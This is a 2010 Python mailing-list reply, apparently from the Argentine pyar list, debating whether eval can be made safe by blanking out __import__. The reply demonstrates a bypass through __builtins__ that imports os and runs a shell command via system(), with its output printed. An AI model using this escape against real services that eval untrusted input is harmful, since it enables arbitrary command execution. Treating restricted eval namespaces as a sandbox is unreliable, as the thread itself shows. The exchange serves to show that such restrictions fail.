[pyar] Peligrosidad de un lambda

Alejandro Santos listas en alejolp.com
Vie Oct 1 21:18:18 ART 2010


2010/10/1 Esteban Kuber <ekuber en gmail.com>:
>>> Algo que nadie mencionó todavía, podés pasarle a eval los diccionarios
>>> de va a tomar como namespace global y local[0].
>>>
>>> Usando eval(string, {}, {}) podés tener un _poquito_ más de tranquilidad.
>>>
>>
>> Seria muy interesante tener alguna version con "Sandbox" de Python,
>> parecida a la que hace andar las apps de Google App Engine.
>>
>> En la Wiki de Python hay una seccion con varios tips de seguridad,
>> entre ellos formas de Sandbox:
>>
>> http://wiki.python.org/moin/Security
>
>>>> eval('__import__("os")', {'__import__': None},{})
> Traceback (most recent call last):
>  File "<input>", line 1, in <module>
>  File "<string>", line 1, in <module>
> TypeError: 'NoneType' object is not callable
>

Sipi, entendi la idea y nunca dije que hayas dicho algo incorrecto, te
hice quote a vos porque era tu respuesta era interesante,

pero... ya que estamos, si me lanzás un desafío no me dejás otra
opcion que intentar resolverlo...

>>> eval('__builtins__["__import__"]("os")', {'__import__': None},{})
<module 'os' from '/usr/lib/python2.6/os.pyc'>

>>> eval('__builtins__["__import__"]("os").system("cat /proc/version")', {'__import__': None},{})
Linux version 2.6.32-5-amd64 (Debian 2.6.32-23) (dannf en debian.org)
(gcc version 4.3.5 (Debian 4.3.5-3) ) #1 SMP Fri Sep 17 21:50:19 UTC
2010
0

:P

Saludos,

-- 
Alejandro Santos
http://alejolp.com.ar



More information about the pyar mailing list